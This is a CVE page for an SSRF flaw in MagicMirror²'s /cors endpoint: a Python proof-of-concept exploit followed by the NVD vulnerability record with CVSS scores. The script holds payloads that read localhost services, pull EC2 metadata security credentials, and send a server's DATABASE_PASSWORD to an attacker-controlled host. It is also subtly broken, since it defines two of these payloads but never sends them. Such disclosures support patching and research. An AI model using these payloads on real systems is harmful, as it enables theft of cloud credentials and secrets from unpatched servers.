CVE-2026-42281

import requests def check_ssrf(target_url): # Target endpoint endpoint = f"{target_url}/cors" # Payload 1: SSRF to localhost (checking internal service) # Attempting to access a common internal port or metadata service ssrf_payload = { "url": "http://127.0.0.1:8080/config.js" } # Payload 2: Environment Variable Exfiltration # Assuming the endpoint expands environment variables in the response or request headers # Using a placeholder format mentioned in the description env_payload = { "url": "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } # Variable exfiltration attempt (e.g., if the proxy reflects the URL or expands vars in logs/response) # Based on description: "expands environment variable placeholders (**VAR_NAME**)" # This might be reflected in an error message or response body depending on implementation leak_payload = { "url": "http://attacker-controlled.com/**DATABASE_PASSWORD**" } try: print(f"[+] Testing SSRF on {endpoint}") r = requests.get(endpoint, params=ssrf_payload, timeout=5) if r.status_code == 200: print(f"[!] SSRF Successful! Response length: {len(r.text)}") print(f"[+] Response snippet: {r.text[:200]}") else: print(f"[-] SSRF attempt failed with status code: {r.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_ssrf(target)

{"cve": {"id": "CVE-2026-42281", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:21.200", "lastModified": "2026-05-21T20:12:03.110", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:magicmirror:magicmirror:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.36.0", "matchCriteriaId": "1719EFE4-4CCB-4E6E-8CA7-7131F1F98345"}]}]}], "references": [{"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}